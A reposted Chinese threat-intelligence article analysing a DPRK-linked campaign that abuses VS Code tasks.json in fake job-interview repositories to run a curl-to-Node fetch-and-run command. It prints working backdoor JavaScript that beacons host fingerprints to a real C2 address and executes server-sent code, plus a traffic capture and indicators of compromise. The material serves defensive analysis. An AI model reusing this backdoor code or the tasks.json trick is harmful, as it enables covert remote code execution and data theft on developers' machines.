威胁行为者扩大对VSCode的滥用

admin 2026-01-22 00:11:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 朝鲜背景的ContagiousInterview活动升级,利用VSCode的tasks.json诱导开发者克隆恶意仓库并授予信任,自动执行nohupbash-ccurl|node拉取托管于vercel.app的混淆JavaScript后门,实现每5秒轮询C287.236.177.9获取并动态执行任意Node.js指令,收集主机名、MAC、公网IP等指纹,具备子进程管理及自毁能力;Jamf与OSM发现GitHub仓库已下架但URL多次更换,开发者需警惕陌生仓库、勿轻信信任提示并审查.vscode与package.json等配置文件。 综合评分: 89 文章分类: 威胁情报,恶意软件,WEB安全,开发工具滥用,漏洞预警


cover_image

威胁行为者扩大对 VS Code 的滥用

独眼情报

2026年1月21日 15:09 湖北

引言

在去年年底,Jamf Threat Labs 发布了关于 Contagious Interview 活动的研究,该活动被归因于代表朝鲜(DPRK)行动的威胁行为体。大约在同一时间,OpenSourceMalware(OSM)的研究人员发布了补充发现,强调了该活动早期阶段所使用技术的发展演变。

具体来说,这些新的观察结果在先前记录的基于 ClickFix 的技术之外,突出了一个额外的投递技术。在这些案例中,感染链滥用了 Microsoft Visual Studio Code 的任务配置文件,允许恶意有效载荷在受害者系统上执行。

在发现该技术后,Jamf Threat Labs 和 OSM 继续密切监控与该活动相关的行为。在十二月,Jamf Threat Labs 发现了对 Visual Studio Code tasks.json 配置文件的进一步滥用。其中包括引入包含高度混淆的 JavaScript 的字典文件,当受害者在 Visual Studio Code 中打开恶意仓库时,这些脚本将被执行。

Jamf Threat Labs 将这些发现与 OSM 共享,OSM 随后发布了对这些混淆 JavaScript 及其执行流程的更深入技术分析。

在本周早些时候,Jamf Threat Labs 发现了该活动的又一演变,揭示了一种此前未记录的感染方法。该活动涉及部署一个后门植入程序,为受害系统提供远程代码执行能力。

从高层次来看,恶意软件的事件链如下所示:

在整篇博客中,我们将详细说明每一步。

初始感染

在此活动中,感染始于受害者克隆并打开恶意的 Git 仓库,常以招聘流程或技术任务为幌子。此活动中识别出的仓库托管在 GitHub 或 GitLab 上,并使用 Visual Studio Code 打开。

当项目被打开时,Visual Studio Code 会提示用户是否信任该仓库的作者。如果用户授予信任,应用程序会自动处理仓库的 tasks.json 配置文件 ,这可能导致其中嵌入的任意命令在系统上被执行。

在 macOS 系统上,这会导致执行一个后台 shell 命令,该命令使用 nohup bash -c 结合 curl -s 远程检索 JavaScript 有 payload 并将其直接通过管道传入 Node.js 运行时。这样即使 Visual Studio Code 进程被终止,执行也能独立继续,同时抑制所有命令输出。

在已观察到的案例中,JavaScript 有害负载托管在 vercel.app 上,这个平台在最近的 DPRK-related activity 中被越来越多地使用,此前 OpenSourceMalware 曾记录过其从其他托管服务转移的情况。

Jamf Threat Labs 向 GitHub 报告了该恶意仓库,随后该仓库被移除。在下架前的监控中,我们观察到仓库中引用的 URL 多次发生变化。值得注意的是,其中一次变化发生在先前引用的负载托管基础设施被 Vercel 关闭之后。

JavaScript 负载

一旦开始执行,JavaScript 负载会实现此活动中观察到的核心后门逻辑。尽管该负载看起来冗长,但其中很大一部分代码由未使用的函数、冗余逻辑和在执行期间从未调用的额外文本组成 (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc) 。这些附加代码增加了脚本的大小和复杂性,但不影响其观察到的行为。它作为一个大的参数传递给 node 可执行文件。

重点在功能性组件上,该有效载荷建立了一个持久执行循环,用于收集主机的基本信息并与远程指挥控制(C2)服务器通信。使用硬编码标识符来追踪单个感染并管理来自服务器的任务。

核心后门功能

尽管 JavaScript 有效负载包含大量未使用的代码,但后门的核心功能是通过少数几个例程实现的。这些例程提供远程代码执行、系统指纹识别和持久的 C2 通信。

远程代码执行能力

该有效负载包含一个函数,可在后门处于活动状态时执行任意 JavaScript。从本质上讲,这就是该后门的主要功能。

function Hp(_0x2d7a84) {
  try {
    return new Function('require', _0x2d7a84)(require);
  } catch {}
}

该函数允许将以字符串提供的 JavaScript 代码在后门生命周期内动态执行。通过将 require 函数传入执行上下文,攻击者提供的代码可以导入额外的 Node.js 模块,从而执行其他任意的 Node 函数。

系统指纹识别与侦察

为了对受感染系统进行画像,后门收集一小组主机级标识符:

function Mp() {
  return {
    hostname: _0x2b1193,
    macs: _0x56ed9b,
    os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")"
  };
}

该例程收集系统主机名、可用网络接口的 MAC 地址以及基本的操作系统详情。这些数值提供了一个稳定的指纹,可用于唯一标识受感染主机并将其与特定活动或操作员会话关联。

除了本地主机标识符之外,后门还尝试通过查询外部服务 ipify.org 来确定受害者的对外 IP 地址,这一技术也曾在此前与朝鲜相关的活动中被观察到。

命令与控制的探测及任务执行

与 C2 服务器的持久通信通过一个轮询例程实现,该例程定期发送主机信息并处理服务器响应。探测逻辑由以下函数处理:

async function jo() {
let _0x53639c = await Ip.get('http://87.236.177.9:3000/api/errorMessage', {
    params: {
      sysInfo: _0x358fa0,
      exceptionId: 'env19475',
      instanceId: So
    }
  });

if (_0x53639c.data.status === 'error') {
    Hp(_0x53639c.data.message || "Unknown error");
  }
}

setInterval(jo, 0x1388);

此功能会定期向远程服务器发送系统指纹数据并等待响应。该信标每五秒执行一次,提供频繁的交互机会。

服务器响应表明连接已成功,并允许后门在等待指令时保持活动会话。

Request:

GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1
Host: 87.236.177.9:3000
User-Agent: axios/1.13.2
Accept: application/json
Connection: keep-alive

-----

Response:

HTTP/1.1 200 OK
Content-Type: application/json
Connection: timeout=5

{"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"}

如果服务器响应包含特定的状态值,则响应消息的内容会被直接传递给前文提到的远程代码执行例程。

进一步执行与指令

在监控被入侵系统期间,Jamf 威胁实验室观察到大约在初次感染后八分钟,又有进一步的 JavaScript 指令被执行。检索到的 JavaScript 随后设置了一个非常类似的有效载荷,指向相同的 C2 基础设施。

/opt/homebrew/Cellar/node/24.8.0/bin/node -e
 let agentId = "d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4"
  const SERVER_IP = "http://87.236.177.9:3000/"
let handleCode = "8503488878"

  const { spawn, spawnSync } = require("child_process");
  const os = require("os");
  const path = require("path");
  const managedPids = new Set();

functionstopAllProcesses() {
    for (const pid of managedPids) {
      try {
        if (process.platform === "win32") {
          require("child_process").spawn("taskkill", ["/PID", String(pid), "/T", "/F"], { stdio: "ignore" });
        } else {
          process.kill(-pid, "SIGTERM");
          setTimeout(() => { try { process.kill(-pid, "SIGKILL"); } catch {} }, 1000);
        }
      } catch {}
    }
    managedPids.clear();
  }

        async functiongetSystemInfo() {
      // PC hostname
      const hostname = os.hostname();

      // MACs (from all interfaces)
      const macs = Object.values(os.networkInterfaces())
        .flat()
        .filter(Boolean)
        .map(n => n.mac)
        .filter(mac => mac && mac !== "00:00:00:00:00:00");

      // OS details
      const osName = os.type();
      const osRelease = os.release();
      const platform = os.platform();

      // Public IP
      let publicIp = "unknown";
      try {
        const res = await fetch("https://api.ipify.org?format=json");
        const data = await res.json();
        publicIp = data.ip;
      } catch (err) {
        reportError('deps-address',err)
      }

      return {
        hostname,
        publicIp,
        macs,
        os: osName + " " + osRelease + " (" + platform + ")"
      };
    }

    async function reportError(type, error) {
      const payload = {
        type,                      // you can adjust type as needed
        hostname: os.hostname(),
        message: error.message || String(error),
        agentId,
        handleCode
      };
      try {
      const url = SERVER_IP + "api/reportErrors"
        const res = await fetch(url, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify(payload),
        });
      } catch (e) {
      }
    }

    async function requestServer (sysInfo) {
      new Promise((resolve, reject) => {
        const url = SERVER_IP + "api/handleErrors"
        fetch( url, {
            method: "POST",
            headers: {
              "Content-Type": "application/json"   // telling server we send JSON
            },
            body: JSON.stringify({
              agentId: agentId,
              handleCode: handleCode.toString(),
              sysInfo
            })
        }).then(res => res.json())   // parse JSON response
        .then(data => {
          const {responseCode, messages, status, newAgentId} = data
          if (responseCode) handleCode = responseCode
          if (responseCode == '-1') {
            stopAllProcesses()
            setTimeout(() => process.exit(0), 2000);
          }
          if (newAgentId && newAgentId !== "") agentId = newAgentId
          if (messages && Array.isArray(messages)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;i = 0; i < messages.length; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; const message = messages[i]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var safeCwd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; safeCwd = process.cwd();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; safeCwd = os.homedir();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; process.on("SIGHUP", () => { /* ignore */ });
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; const child = spawn(process.execPath, ["-"], {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cwd: safeCwd,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; detached:&nbsp;true,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; windowsHide:&nbsp;true,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stdio: ["pipe",&nbsp;"ignore",&nbsp;"ignore"]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; child.stdin.write(message);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; child.stdin.end();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; child.on("error", (error) => {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reportError('deps-child-main',error)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; child.unref();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; managedPids.add(child.pid);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (error) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reportError("deps-running", error)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resolve()
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; .catch(error => {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resolve()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reportError('deps-main',error)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; console.log(error)
&nbsp; &nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; }

&nbsp; &nbsp; const sleep = ms => new Promise(r => setTimeout(r, ms));

&nbsp; &nbsp; (async () => {
&nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; const sysInfo = await getSystemInfo()
&nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(true) {
&nbsp; &nbsp; &nbsp; &nbsp; const timeout = new Promise((_, rej) => setTimeout(() => rej("timeout"), 10_000));
&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; await Promise.race([requestServer(sysInfo), timeout]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; await sleep(5000); //&nbsp;wait&nbsp;2s after a normal finish
&nbsp; &nbsp; &nbsp; &nbsp; } catch (e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(e ===&nbsp;"timeout")&nbsp;continue; // timed out → try again immediately
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; await sleep(5000); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // other error →&nbsp;wait&nbsp;2s&nbsp;then&nbsp;retry
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; } catch(error) {
&nbsp; &nbsp; &nbsp; &nbsp;reportError('deps-theard',error)
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; })();

对检索到的该负载的审查揭示了一些有趣的细节……

  1. 它每 5 秒向 C2 服务器发送探测信号,提供其系统详细信息并请求进一步的 JavaScript 指令。
  2. 它在子进程中执行那些额外的 JavaScript 代码。
  3. 如果攻击者要求,它能够关闭自身及子进程并进行清理。
  4. 它的内联注释和措辞似乎与 AI 辅助代码生成一致。

结论

该活动凸显了与朝鲜相关的威胁行为体持续演进的态势,他们不断调整工具和投递机制,以整合到合法的开发者工作流中。滥用 Visual Studio Code 的任务配置文件和 Node.js 执行路径,展示了这些技术如何随着常用开发工具的演进而不断发展。

Jamf Threat Labs 将继续追踪这些动态,因为威胁行为体在不断完善其战术并探索投递 macOS 恶意软件的新途径。

在与第三方代码仓库交互时,开发者应保持警惕,尤其是那些直接共享或来自不熟悉来源的仓库。在将仓库标记为 Visual Studio Code 的受信任仓库之前,务必审查其内容。同样,只有对项目进行过审查后才应运行“npm install”,并特别注意 package.json 文件、安装脚本和任务配置文件,以帮助避免无意中执行恶意代码。

入侵指标

Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json
Repository URL: https://github.com/CannonOps/frontend-website/blob/dev/.vscode/tasks.json
Malicious Vercel URL: https://edgeauth.vercel.app/api/getMoralisData?token=Z4T9QH
Malicious Vercel URL: https://moralmetrics.vercel.app/api/getMoralisData?token=Z4T9QH
C2 IP: 87.236.177.9:3000
C2 DNS: srv37746.hosted-by-eurohoster.org
Javascript Payload SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc
JavaScript Payloads sharing similarities:
SHA256: 67c05c1624a227959728e960e4563435db2519a24a46e95207a42ea8d4307e2d
SHA256: f8ae6ae9d6a13a8dddb05975930161601b5cfdd0cec30b7efdc5ba0606774998
SHA256: 71e4ea17c871b983a2cbbea7a4fbd7fe498951c8fe4a1e17377e9aa06fd7184a
SHA256: 71d8a974548e4e152e2c818d1febb7862632c1f9bff6adaa731bbaf6b23bd4b9
SHA256: 1b26f73fa88f8c3b17adf6db12ec674481db1f92eb04806815b8fbd6086f07ef
SHA256: a2194390105731ce33cb9a51011c42a39a440942e907099f072916a36f17ef4b

原文链接:https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:独眼情报 《威胁行为者扩大对 VS Code 的滥用》

评论:0   参与:  0